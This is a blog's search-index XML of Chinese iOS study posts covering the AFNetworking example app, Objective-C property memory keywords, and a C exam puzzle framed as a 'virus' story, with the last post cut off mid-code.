<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title>AFNetworking 3.1.0 第一部分</title>
    <url>/fbf25fde.html</url>
    <content><![CDATA[<h2 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a><strong>写在前面</strong></h2><p>我主要根据作者polobymulberry的博客<a href="http://www.cnblogs.com/polobymulberry/category/785705.html">AFNetworking源码阅读系列</a>来学习，因为我有很多知识不懂，所以有些地方可能会记录得过于繁琐。原作者的大体流程和记录不变，某些知识点会有自己的补充。在此非常感谢博客作者polobymulberry的分享。</p>
<a id="more"></a>

<blockquote>
<p>第一次运行运行example时总是出现 Module ‘AFNetworking’ not found 问题，查了好多关于Module的资料，对于问题的解决却没有帮助，后来偶然间在AFNetworking的github上的issues里找到解决办法，真是特别惭愧。应该点击文件夹内的<code>AFNetworking.xcworkspace</code>，而不是其他<code>.xcodeproj</code>文件。</p>
</blockquote>
<p>图片1</p>
<p>运行成功后，就开始我们艰难的学习旅程吧！</p>
<h2 id="开始"><a href="#开始" class="headerlink" title="开始"></a><strong>开始</strong></h2><h3 id="AppDelegate"><a href="#AppDelegate" class="headerlink" title="AppDelegate"></a>AppDelegate</h3><p>此文件主要就是实现函数didFinishLaunchingWithOptions。将windows的rootViewController设置为rootViewController为GlobaltimelineViewController的NavigationController。此处有两点需要注意一下：</p>
<p>第一处</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">NSURLCache *URLCache = [[NSURLCache alloc] initWithMemoryCapacity:<span class="number">4</span> * <span class="number">1024</span> * <span class="number">1024</span> diskCapacity:<span class="number">20</span> * <span class="number">1024</span> * <span class="number">1024</span> diskPath:nil];</span><br><span class="line">[NSURLCache setSharedURLCache:URLCache];</span><br></pre></td></tr></table></figure>

<p>NSURLCache 为您的应用的 URL 请求提供了内存中（对应memoryCapacity）以及磁盘上（对应diskCapacity）的综合缓存机制。所以你想使用NSURLCache带来的好处，就需要在此处设置一个sharedURLCache。</p>
<p>第二处</p>
<figure class="highlight scheme"><table><tr><td class="code"><pre><span class="line">[[<span class="name">AFNetworkActivityIndicatorManager</span> sharedManager] setEnabled:YES]<span class="comment">;</span></span><br></pre></td></tr></table></figure>

<p>为了说明AFNetworkingActivityIndicator是什么，直接上图：</p>
<p>图2</p>
<p>当你有session task正在运行时，这个小菊花就会转啊转。这个是自动检测的，只需要你设置AFNetworkingActivityIndicatorManager的sharedManager中的enabled设为YES即可。</p>
<p>这里我简单看了下AFNetworkingActivityIndicatorManager，发现它对外接口不多，比较容易理解它的业务流程。所以我准备在第三部分就将AFNetworkingActivityIndicatorManager的源码拿下。</p>
<p>设置完了cache和AFNetworkingActivityIndicator，接着就是进入GlobalTimelineViewController（UITableViewController）了。这里我学到一个，就是UITableViewController可以使用initWithStyle进行初始化。（<strong>因为我对iOS界面不太了解，所以这个initWithStyle现在并不懂</strong>）</p>
<blockquote>
<p>polobymulberry在开篇画了一个iOS Example的代码结构图，我不太懂MVC，特地查了下。以下是我个人非常粗浅的了解：</p>
<ul>
<li><p>M代表Model，V代表View，C代表Cotroller。这是一种设计模式，是想让各模块分离，视图跟数据处理以及中间的控制协调端各司其职。</p>
</li>
<li><p>视图只用于展现APP的界面，用于人和程序的交互。至于你点击按钮后产生的反馈，是由Controller来传递给Model处理，比如点击按钮后，会在文本框内展现文字。则Model从数据库中读取文字并通知Controller，事件已经处理完，Controller收到通知然后决定怎么处理，比如通过outlet控制View展示文字。</p>
</li>
<li><p>注意View和Model之间并不直接通信。</p>
<p>图3</p>
</li>
</ul>
<p>参考自<a href="http://blog.csdn.net/nhwslxf123/article/details/49703773">实际案例讲解iOS设计模式——MVC模式</a></p>
</blockquote>
<h3 id="GlobalTimelineViewController"><a href="#GlobalTimelineViewController" class="headerlink" title="GlobalTimelineViewController"></a>GlobalTimelineViewController</h3><p>主要是围绕UITableView的delegate和dataSource来说。</p>
<h5 id="1-UITableViewDelegate"><a href="#1-UITableViewDelegate" class="headerlink" title="1) UITableViewDelegate"></a>1) UITableViewDelegate</h5><p>主要是计算heightForRowAtIndexPath这个函数比较麻烦（应该是<code>-(CGFloat)tableView:heightForRowAtIndexPath:</code>函数），这里的Cell比较简单，可以直接使用posts中存储的text值来计算高度，核心代码就下面这句：</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line"><span class="built_in">CGRect</span> rectToFit = [text boundingRectWithSize:<span class="built_in">CGSizeMake</span>(<span class="number">240.0</span>f, <span class="built_in">CGFLOAT_MAX</span>) options:<span class="built_in">NSStringDrawingUsesLineFragmentOrigin</span> attributes:@&#123;<span class="built_in">NSFontAttributeName</span>: [<span class="built_in">UIFont</span> systemFontOfSize:<span class="number">12.0</span>f]&#125; context:<span class="literal">nil</span>];</span><br></pre></td></tr></table></figure>

<p>对于boundingRectWithSize的使用又增进了一步。（<strong>这里我也不懂</strong>）</p>
<h5 id="2-UITableViewDataSource"><a href="#2-UITableViewDataSource" class="headerlink" title="2) UITableViewDataSource"></a>2) UITableViewDataSource</h5><p>主要是用posts作为数据源，而posts的获取在此处尤为关键，是通过Post本身（model）的globalTimelinePostsWithBlock函数获取数据的，这里作者将网络端的请求放在了model里面。</p>
<p>接着调用了refreshControl控件的setRefreshingWithStateOfTask:。setRefreshingWithStateOfTask:其实是UIRefreshControl+AFNetworking的一个category中定义的。UIRefreshControl+AFNetworking的源码很简单，放在第四部分讲。</p>
<p>注意setRefreshingWithStateOfTask:有一个参数就是NSURLSessionTask*。而这个NSURLSessionTask的获取是调用了Post类中的globalTimelinePostsWithBlock:函数。</p>
<p>在globalTimelinePostsWithBlock:函数中其实封装了一层AFHTTPSessionManager的GET函数</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line">- (<span class="keyword">nullable</span> <span class="built_in">NSURLSessionDataTask</span> *)GET:(<span class="built_in">NSString</span> *)URLString</span><br><span class="line">                            parameters:(<span class="keyword">nullable</span> <span class="keyword">id</span>)parameters</span><br><span class="line">                              progress:(<span class="keyword">nullable</span> <span class="keyword">void</span> (^)(<span class="built_in">NSProgress</span> *downloadProgress)) downloadProgress</span><br><span class="line">                              success:(<span class="keyword">nullable</span> <span class="keyword">void</span> (^)(<span class="built_in">NSURLSessionDataTask</span> *task, <span class="keyword">id</span> _Nullable responseObject))success</span><br><span class="line">                                failure:(<span class="keyword">nullable</span> <span class="keyword">void</span> (^)(<span class="built_in">NSURLSessionDataTask</span> * _Nullable task, <span class="built_in">NSError</span> *error))failure;</span><br></pre></td></tr></table></figure>

<p>具体细节后面讨论，此处我们知道是根据一个url获取到服务器端的数据即可。注意获取到的数据是JSON格式的，这里作者在Post类，即Model中定义了一个JSON—-&gt;Model函数-initWithAttributes，，也就是说模型数据转化部分也放在了model中。</p>
<p>另外，调用GET方法不是直接用AFHTTPSessionManager的manager，而是又定义了一个AFAppDotNetAPIClient，继承自AFHTTPSessionManager。并在其定义的单例模式中简单地封装了一些AFHTTPSessionManager的设置。</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line">+ (<span class="keyword">instancetype</span>)sharedClient &#123;</span><br><span class="line">       <span class="keyword">static</span> AFAppDotNetAPIClient *_sharedClient = <span class="literal">nil</span>;</span><br><span class="line">       <span class="keyword">static</span> <span class="built_in">dispatch_once_t</span> onceToken;</span><br><span class="line">    <span class="built_in">dispatch_once</span>(&amp;onceToken, ^&#123;</span><br><span class="line">        <span class="comment">// 初始化HTTP Client的base url，此处为@&quot;https://api.app.net/&quot;</span></span><br><span class="line">        _sharedClient = [[AFAppDotNetAPIClient alloc] initWithBaseURL:[<span class="built_in">NSURL</span> URLWithString:AFAppDotNetAPIBaseURLString]];</span><br><span class="line">           <span class="comment">// 设置HTTP Client的安全策略为AFSSLPinningModeNone</span></span><br><span class="line">        _sharedClient.securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeNone];</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> _sharedClient;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>知识点：SSL Pinning</p>
<p>Https对比Http已经很安全，但在建立安全链接的过程中，可能遭受中间人攻击。防御这种类型攻击的最直接方式是Client使用者能正确鉴定Server发的证书【目前很多浏览器在这方面做的足够好，用户只要不在遇到警告时还继续其中的危险操作】，而对于Client的开发者而言，一种方式保持一个可信的根证书颁发机构列表，确认可信的证书，警告或阻止不是可信根证书颁发机构颁发的证书。</p>
<p>SSL Pinning其实就是证书绑定，一般浏览器的做法是信任可信根证书颁发机构颁发的证书，但在移动端【非浏览器的桌面应用亦如此】，应用只和少数的几个Server有交互，所以可以做得更极致点，直接就在应用内保留需要使用的具体Server的证书。对于iOS开发者而言，如果使用AFNetwoking作为网络库，那么要做到这点就很方便，直接证书作为资源打包进去就好，AFNetworking会自动加载，具体代码就不贴了，nsscreencast已经有很好的tutorial。</p>
<p>至于model根据网络层获取的数据赋值，除了user的头像那块比较难，因为涉及到UIImageView+AFNetworking等文件，其他部分很简单。而AFNetworking的UIImageView+AFNetworking的部分其实很类似SDWebImage的思路。</p>
<h5 id="Add：BLock作为函数参数"><a href="#Add：BLock作为函数参数" class="headerlink" title="Add：BLock作为函数参数"></a>Add：BLock作为函数参数</h5><p><code>block原本的形式为:</code></p>
<p><code>返回值 (^block名称 可省) (参数 可省) ＝ ^&#123;函数体&#125;;</code><br><code>调用形式： block名称(参数);</code></p>
<p>在GlobalTimelineViewController.m <code>- (void)reload:</code> 函数中遇到了第一个block</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line"><span class="built_in">NSURLSessionTask</span> *task = [Post globalTimelinePostsWithBlock:^(<span class="built_in">NSArray</span> *posts, <span class="built_in">NSError</span> *error) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!error) &#123;</span><br><span class="line">            <span class="keyword">self</span>.posts = posts;</span><br><span class="line">            [<span class="keyword">self</span>.tableView reloadData];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;];</span><br></pre></td></tr></table></figure>

<p><code>^(NSArray *posts, NSError *error)&#123;&#125;</code> 整个block作为参数传递给<code>+ (NSURLSessionDataTask *)globalTimelinePostsWithBlock:</code>函数</p>
<blockquote>
<p>参数传递只需要 ^(参数){block函数体}</p>
<p>^表明是block形式</p>
</blockquote>
<p>Post.m <code>+ (NSURLSessionDataTask *)globalTimelinePostsWithBlock:</code>函数:</p>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line">+ (<span class="built_in">NSURLSessionDataTask</span> *)globalTimelinePostsWithBlock:(<span class="keyword">void</span> (^)(<span class="built_in">NSArray</span> *posts, <span class="built_in">NSError</span> *error))block &#123;</span><br><span class="line">                 ......</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>即这个函数的参数为(void (^)(NSArray <em>posts, NSError</em> error))block</p>
<p>(返回值 (^)(参数))block名称</p>
</blockquote>
<p>也就是说在block作为函数参数传递时，定义block的这个A函数(<code>globalTimelinePostsWithBlock:</code>)并没有block函数体，而是调用A函数(<code>[Post globalTimelinePostsWithBlock:]</code>)在传参数时定义block的具体执行内容。</p>
]]></content>
      <categories>
        <category>源码解析</category>
      </categories>
  </entry>
  <entry>
    <title>property 中的常用关键字分析</title>
    <url>/c6e2f716.html</url>
    <content><![CDATA[<h2 id="栈与堆"><a href="#栈与堆" class="headerlink" title="栈与堆"></a>栈与堆</h2><p>首先，我们需要知道：为什么<strong>只有Objective-C对象需要进行内存管理</strong>，而其它非对象类型（如基本数据类型）不需要我们来管理呢？</p>
<blockquote>
<p>因为： Objective-C 的对象在内存中是以堆的方式分配空间的</p>
<ul>
<li>堆里面的内存是动态分配的，所以也就需要程序员手动的去添加内存、回收内存</li>
<li>OC对象存放于堆里面(堆内存要程序员手动回收，也就是 release )</li>
<li>非OC对象一般放在栈里面(栈内存会被系统自动回收)</li>
</ul>
</blockquote>
<a id="more"></a>

<p>例如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">int</span> a = <span class="number">10</span>;</div><div class="line"><span class="keyword">int</span> b = <span class="number">20</span>;</div><div class="line">Car *c = [[Car alloc] init];</div></pre></td></tr></tbody></table>

<p>我们知道OC对象一般都是指针形式，大神ibireme在 <a href="http://blog.ibireme.com/2013/11/25/objc-object/">Objective-C 中的类和对象</a>中提到：</p>
<blockquote>
<p>凡是首地址是*isa的struct指针，都可以被认为是objc中的对象。运行时可以通过isa指针，查找到该对象是属于什么类(Class)。</p>
</blockquote>
<p>下图可以清楚的表示 OC 中的堆栈分配：</p>
<p><img src="/images/2016-09-08-%E8%AF%AD%E6%B3%95-property-%E4%B8%AD%E7%9A%84%E5%B8%B8%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97%E5%88%86%E6%9E%90/%E5%9B%BE1.png"></p>
<h2 id="assign-与-weak"><a href="#assign-与-weak" class="headerlink" title="assign 与 weak"></a>assign 与 weak</h2><blockquote>
<p><strong>基础知识提要</strong></p>
<p>@property 声明的属性，会自动创建 getter,setter 方法。 属性中申明的关键字主要有三大类：</p>
<ul>
<li>readwrite/readonly： 是否生成 setter 方法, 默认 readwrite</li>
<li>assign/weak/strong/copy/retain： setter 方法中如何传递所有权等内存管理策略, ARC 环境默认为 strong</li>
<li>nonatomic/atomic：是否加线程锁（并不能完全控制线程访问，最好事是自己手动底层加锁，默认 atomic</li>
</ul>
</blockquote>
<p><em>NSString 的引用计数LLVM是有优化的，并不是简单根据设定的关键字来判断。本文只是为了方便易懂，以这个类作为例子。</em></p>
<h3 id="assign"><a href="#assign" class="headerlink" title="assign"></a>assign</h3><p>如果设置 assign ，在 setter 方法中是这样的：</p>
<table><tbody><tr><td class="code"><pre><div class="line">- (<span class="keyword">void</span>)setCarName:(<span class="built_in">NSString</span> *)name {</div><div class="line">    _carName = name;  <span class="comment">//默认是有下划线的</span></div><div class="line">}</div></pre></td></tr></tbody></table>

<p>也就是说成员变量 _name 并没有获得 name 所指的对象的所有权，原来对象 @“Amywushu” 的 retainCount 不会改变。一旦 name 被释放，_carName 也就不再指向一个合法的位置，出现指针悬空，如下图所示，相当于 _carName （图中为 carName ）指向的 name，但实际上 _carName 是指向OC对象的，这里只是为了方便理解。</p>
<p><img src="/images/2016-09-08-%E8%AF%AD%E6%B3%95-property-%E4%B8%AD%E7%9A%84%E5%B8%B8%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97%E5%88%86%E6%9E%90/%E5%9B%BE2assign.png"></p>
<h3 id="assign-weak-的区别"><a href="#assign-weak-的区别" class="headerlink" title="assign/weak 的区别"></a>assign/weak 的区别</h3><p>ARC 中 OC 对象已经不再使用 assign 了，而是使用 weak ，两者的区别在： weak 弱引用所指的对象没有被任何strong指针指向，那么就将被销毁，所有指向这个对象的 weak 指针也将被置为 nil 。而 assign 不会被置为 nil 。但对于非 OC 对象来讲，因为其存储空间在栈上，由系统管理内存，所以一般还是使用 assign。</p>
<h3 id="unsafe-unretained"><a href="#unsafe-unretained" class="headerlink" title="unsafe_unretained"></a>unsafe_unretained</h3><p>unsafe_unretained 的语义与 assign 类似，相当于用于 OC 对象类型的 assign 。使用这个关键字主要出于性能考虑，因为 weak 对性能有一些影响，因此对性能要求高的地方可以考虑使用 unsafe_unretained 替换 weak 。比如 <a href="https://github.com/ibireme/YYModel/blob/master/YYModel/NSObject%2BYYModel.m">YYModel</a> 的实现，为了追求更高的性能，其中大量使用 unsafe_unretained 作为变量标识符。</p>
<h2 id="retain-与-strong"><a href="#retain-与-strong" class="headerlink" title="retain 与 strong"></a>retain 与 strong</h2><blockquote>
<p><strong>知识点:</strong></p>
<p><strong>MRR内存管理基本原则</strong></p>
<ol>
<li>为创建的所有对象设置所有权</li>
<li>应使用retain方法获取对象（你尚未拥有）的所有权</li>
<li>当不再使用某个对象时，必须放弃其所有权</li>
<li>不能放弃不归你所有的对象的所有权</li>
</ol>
</blockquote>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//对象通过 alloc 消息创建后，变量 atom 就拥有了该对象的所有权（原则1）</span></div><div class="line">Atom *atom = [[Atom alloc] init];</div><div class="line"></div><div class="line"><span class="comment">//变量 href 获取了这个对象的所有权（原则2），不能写成 Atom *href = atom; </span></div><div class="line"><span class="comment">//这样写的话 href 没有获取对象的所有权，一旦 atom 释放了，href 就不再指向一个合法的位置，出现指针悬空。</span></div><div class="line">Atom *href = [atom <span class="keyword">retain</span>];</div><div class="line"></div><div class="line"><span class="comment">// 变量 atom 释放，但 href 依旧拥有该对象的所有权</span></div><div class="line">[atom release];</div><div class="line"></div><div class="line"><span class="comment">// 变量 href 释放，对象引用计数变为 0 ，运行时系统可以释放对象了</span></div><div class="line">[href release];</div></pre></td></tr></tbody></table>

<p>——引用自<a href="https://yq.aliyun.com/articles/57166?&utm_source=qq">[精通Objective-C]内存管理</a></p>
<p>如果设置 retain ，在 setter 方法中是这样的：</p>
<table><tbody><tr><td class="code"><pre><div class="line">- (<span class="keyword">void</span>)setCarName:(<span class="built_in">NSString</span> *)name {</div><div class="line">    <span class="keyword">if</span> (_carName != name) {</div><div class="line">        [_carName release];</div><div class="line">        _carName = [name <span class="keyword">retain</span>];</div><div class="line">    }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>也就是说，retain/strong 会在 setter 方法中，对传入的对象 <code>&quot;Amywushu&quot;</code> 进行引用计数 +1 的操作。简单来说，就是会拥有传入对象 <code>&quot;Amywushu&quot;</code> 的所有权，而不是像 assign/weak 一样，依赖于传入的对象指针 <code>name</code> ，而并非拥有实际所有权。</p>
<p>相当于一个保险柜拥有两把钥匙，变量解除所有权 (release) ，也就相当于归还钥匙。当两把钥匙都被归还之后，这个保险柜（对象）也就会被释放。只要拥有该对象的所有权（至少有一把钥匙没有归还），这个对象就不会被释放。</p>
<p><img src="/images/2016-09-08-%E8%AF%AD%E6%B3%95-property-%E4%B8%AD%E7%9A%84%E5%B8%B8%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97%E5%88%86%E6%9E%90/%E5%9B%BE3.png"></p>
<p>如图所示，<code>_carName</code> 和 <code>name</code> 均拥有对 <code>Amywushu</code> 这个字符串对象的所有权，该对象的引用计数变为 1+1=2 。</p>
<p>strong 是在 iOS 引入 ARC 的时候引入的关键字，是retain的一个可选的替代。 strong 跟 retain 的意思相同并产生相同的代码，但是语意上更好更能体现对象的关系。</p>
<p>关于 strong 和 weak 还有什么不清楚的话，可以学习 onevcat 的<a href="https://onevcat.com/2012/06/arc-hand-by-hand/">手把手教你ARC——iOS/Mac开发ARC入门和使用</a>这篇文章，讲得非常清晰易懂。</p>
<h2 id="copy-与-mutableCopy"><a href="#copy-与-mutableCopy" class="headerlink" title="copy 与 mutableCopy"></a>copy 与 mutableCopy</h2><p>copy 、mutableCopy 与 strong 的区别在于，深拷贝时，示例变量对于传入对象的副本拥有所有权，而不是对象本身；浅拷贝时，则没有区别。<br>如果设置 copy ，在 setter 方法中是这样的：</p>
<table><tbody><tr><td class="code"><pre><div class="line">- (<span class="keyword">void</span>)setCarName:(<span class="built_in">NSString</span> *)name {</div><div class="line">    <span class="keyword">if</span> (_carName != name) {</div><div class="line">        [_carName release];</div><div class="line">        _carName = [name <span class="keyword">copy</span>];</div><div class="line">    }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p><img src="/images/2016-09-08-%E8%AF%AD%E6%B3%95-property-%E4%B8%AD%E7%9A%84%E5%B8%B8%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97%E5%88%86%E6%9E%90/%E5%9B%BE4.png"></p>
<p>如上图所示，原来对象的 retainCount 不变，新 copy 出来的对象副本的 retainCount=1 ，原对象引用计数不变，两者 copy 之后互不相关，这是深拷贝。</p>
<blockquote>
<ul>
<li><strong>深拷贝与浅拷贝</strong></li>
</ul>
<p><strong>深拷贝</strong>： 是对内存空间的拷贝，也就是这里的 copy（数组等类型例外）<br><strong>浅拷贝</strong>： 是对内存地址的拷贝，也就是上面的 retain/strong，以及 copy 的某些情况<br><strong>深拷贝和浅拷贝比较复杂，我的另一篇文章有具体讲解<a href="https://harpersu00.github.io/accb5a79.html">copy 与 mutableCopy（传说中的深浅拷贝</a>，这里只是简要提及一下。</strong></p>
</blockquote>
<p><strong>注意！ 如果是 copy 的是一个 NSArray 呢?</strong> 比如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="built_in">NSArray</span> *array = [<span class="built_in">NSArray</span> arrayWithObjects:<span class="string">@"hello"</span>,<span class="string">@"world"</span>,<span class="string">@"baby"</span>];</div><div class="line"><span class="built_in">NSArray</span> *array2 = [array <span class="keyword">copy</span>];</div></pre></td></tr></tbody></table>

<p>这个时候,系统的确是为 array2 开辟了一块内存空间,但是我们要知道的是, array2 中的每个元素,,只是 copy 了指向 array 中相对应元素的指针，这是<strong>“单层深拷贝”</strong>.</p>
<hr>
<p><strong>一般来说，不要将 copy 用到 NSMutableString ，NSMutableArray ，NSMutableDictionary 等可变对象上，除非有特别的需求。</strong></p>
<p>例如:</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="class"><span class="keyword">@interface</span> <span class="title">ViewController</span> ()</span></div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSMutableArray</span> *mutableArray_copy;</div><div class="line"><span class="keyword">@end</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">@implementation</span> <span class="title">ViewController</span></span></div><div class="line"></div><div class="line">- (<span class="keyword">void</span>)viewDidLoad {</div><div class="line">    [<span class="keyword">super</span> viewDidLoad];</div><div class="line"></div><div class="line">    <span class="built_in">NSMutableArray</span> *mutableArray = [<span class="built_in">NSMutableArray</span> arrayWithObject:<span class="string">@"123"</span>];</div><div class="line">    <span class="keyword">self</span>.mutableArray_copy = mutableArray;</div><div class="line"></div><div class="line">    [<span class="keyword">self</span>.mutableArray_copy addObject:<span class="string">@"456"</span>];</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>运行则会报出错误 <strong>signal SIGABRT</strong></p>
<p><img src="/images/2016-09-08-%E8%AF%AD%E6%B3%95-property-%E4%B8%AD%E7%9A%84%E5%B8%B8%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97%E5%88%86%E6%9E%90/%E5%9B%BE5.png"></p>
<p>我们明明在代码里用的 NSMutableArray 这个可变数组，为什么错误里会说是在向 NSArray 这个不可变数组，调用 addObject: 这个方法呢？（ __NSArrayI 表示的是 NSArray 类型）。<br>是因为在 <code>self.mutableArray_copy = mutableArray;</code> 这一句的时候，会调用 mutableArray_copy 的 setter 方法， copy 属性默认 setter 方法是这样写的:</p>
<table><tbody><tr><td class="code"><pre><div class="line">- (<span class="keyword">void</span>)setMutableArray_copy:(<span class="built_in">NSMutableArray</span> *)mutableArray_copy {</div><div class="line">    _mutableArray_copy = [mutableArray_copy <span class="keyword">copy</span>];</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>setter 方法里调用的是 copy，而不是 mutableCopy ，也就是说拷贝过来的是不可变的 NSArray 类型。那么 NSMutableArray 的添加元素等方法自然就不能使用了。<br>解决方法为：将 copy 改为 strong ；或者重写 setter 方法，将 copy 改为 mutableCopy 。</p>
<blockquote>
<p>copy 现在都比较少用，一般用于 NSString 。因为<strong>父类指针可以指向子类对象</strong>，NSMutableNSString 是 NSString 的子类，使用 strong 的话虽然 NSString 是不可变对象，但是它传入的值可能会是 NSMutableString 可变对象，<strong>如果这个可变对象的内容在其他地方被修改了，那 NSString 指针所指的对象也随之改变了</strong>，而其本身可能对此毫不知情。因此一般用 copy 。</p>
</blockquote>
<h2 id="nonull-nullable-null-resettable"><a href="#nonull-nullable-null-resettable" class="headerlink" title="nonull nullable null_resettable"></a>nonull nullable null_resettable</h2><p>这三个属性关键字是 WWDC2015 中介绍的 OC 新特性，与 Swift 中的 ? 和 ! 类似。</p>
<ul>
<li><strong>nonull</strong>：该属性不能为 nil ,必须有值。</li>
<li><strong>nullable</strong>：表示可选的，可以为 nil。</li>
<li><strong>null_resettable</strong>：表示 setter 方法是 nullable ,可以为 nil；而 getter 方法是nonull ，必须有值。</li>
</ul>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总的来说，就是内存处理方式不一样，assign/weak 相当于借用传入的指针变量来指向对象（实际上并不是，可以这样理解），retain/strong 相当于不同的指针变量指向同一个对象，copy 则是在内存里复制了一个对象并指向它。读写属性以及原子性比较简单，不再赘述。</p>
<p>关于 atomic 的锁机制，以及 ARC 机制到底如何进行的内存管理，之后会进一步学习。敬请期待。</p>
<p>2016.12.07 补充：</p>
<p>新增博文： <a href="https://harpersu00.github.io/cc4dc5e6.html">ARC 是如何进行内存管理的</a></p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] Objective-C 内存管理——你需要知道的一切　<a href="https://segmentfault.com/a/1190000004943276">https://segmentfault.com/a/1190000004943276</a><br>[2] @property属性关键字详解　<a href="http://www.wugaojun.com/blog/2015/07/25/at-propertyshu-xing-guan-jian-zi-xiang-jie/">http://www.wugaojun.com/blog/2015/07/25/at-propertyshu-xing-guan-jian-zi-xiang-jie/</a><br>[3] Objective-C 的自动引用计数（ARC）　<a href="https://hran.me/archives/objective-c-automatic-reference-counting.html">https://hran.me/archives/objective-c-automatic-reference-counting.html</a><br>[4] Objective-c 内存管理的历史和参考资料　<a href="http://www.pchou.info/ios/2015/06/05/oc-memory-management.html">http://www.pchou.info/ios/2015/06/05/oc-memory-management.html</a></p>
]]></content>
      <categories>
        <category>编程语言语法</category>
      </categories>
  </entry>
  <entry>
    <title>C语言编程题（2016年360笔试习题之病毒）</title>
    <url>/e3f92699.html</url>
    <content><![CDATA[<h2 id="题目（编程题：病毒）"><a href="#题目（编程题：病毒）" class="headerlink" title="题目（编程题：病毒）"></a>题目（编程题：病毒）</h2><p>小B最近对破解和程序攻击产生了兴趣，她迷上了病毒，然后可怕的事情发生了。不知道什么原因，可能是小B的技术水平还不够高，小B编写的病毒程序在攻击一个服务器时出现了问题。尽管成功的入侵了服务器，但并没有按照期望的方式发挥作用。</p>
<p>小B的目的很简单：控制服务器内存区域，试图在内存中装入从1到n之间的n个自然数，以覆盖内存区域。可能是小B对编程理解上的问题，病毒似乎没有完全成功。可能是由于保护机制的原因，内存写入只接受二进制的形式，所以十进制表达中除了0和1之外的其他值都没有成功写入内存。小B希望知道，究竟有多少数成功的写入了服务器的内存！</p>
<a id="more"></a>

<p><strong>输入</strong></p>
<blockquote>
<p>输入中有多组测试数据，每组测试数据在单独的一行中，为整数n（1&lt;=n&lt;=10^9）。</p>
</blockquote>
<p><strong>输出</strong></p>
<blockquote>
<p>对每组测试数据，在单独的行中输出问题的答案。</p>
</blockquote>
<p><strong>举例</strong></p>
<blockquote>
<p>输入：10<br>输出： 2</p>
<p>输入：20<br>输出：3</p>
</blockquote>
<h2 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h2><table><tbody><tr><td class="code"><pre><div class="line"> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></div><div class="line"> <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></div><div class="line"></div><div class="line"><span class="comment">/**</span></div><div class="line">&nbsp;*&nbsp; 1. 输入的字符数组从最高位开始依次与1做比较</div><div class="line">&nbsp;*&nbsp; 2. 小于等于1 取原值，并比较下一位，如果没有下一位，则返回；</div><div class="line">&nbsp;*&nbsp; 3. 大于1，则其后的位数都取1，并返回；</div><div class="line">&nbsp;*&nbsp; 4. 将得到的字符数组看作二进制，并转化为十进制。</div><div class="line">&nbsp;*</div><div class="line">&nbsp;*/</div><div class="line"><span class="keyword">static</span> <span class="keyword">char</span> addarray[<span class="number">10</span>] = <span class="string">""</span>;</div><div class="line"><span class="keyword">static</span> <span class="keyword">char</span> array1[<span class="number">10</span>] = <span class="string">""</span>;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">char</span> * <span class="title">fun</span><span class="params">(<span class="keyword">char</span> *cstring, <span class="keyword">int</span> n)</span> </span>{</div><div class="line">    <span class="keyword">char</span> compareString = *(cstring + n);</div><div class="line">    <span class="keyword">char</span> *onestring = <span class="string">"1"</span>;</div><div class="line">    <span class="keyword">char</span> <span class="built_in">array</span>[<span class="number">10</span>] = <span class="string">""</span>;</div><div class="line">    <span class="keyword">char</span> *rec = <span class="string">""</span>;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (<span class="built_in">strcmp</span>(onestring,&amp;compareString) &gt;= <span class="number">0</span>) {  <span class="comment">//compareString &lt;= 1</span></div><div class="line">        <span class="built_in">array</span>[<span class="number">0</span>] = compareString;</div><div class="line">        <span class="keyword">if</span> (*(cstring+n+<span class="number">1</span>)) {</div><div class="line">            <span class="built_in">strcat</span>(<span class="built_in">array</span>, fun(cstring, n+<span class="number">1</span>));</div><div class="line">            <span class="built_in">strcpy</span>(addarray, <span class="built_in">array</span>);</div><div class="line">            rec = addarray;</div><div class="line">        }</div><div class="line">        <span class="keyword">else</span></div><div class="line">            rec = cstring + n;</div><div class="line"></div><div class="line">    }</div><div class="line">    <span class="keyword">else</span> {         <span class="comment">//compareString &gt; 1</span></div><div class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; (<span class="built_in">strlen</span>(cstring) - n); i++) {</div><div class="line">            <span class="built_in">strcat</span>(array1, onestring);</div><div class="line">        }</div><div class="line">        rec = array1;</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="keyword">return</span> rec;</div><div class="line">}</div><div 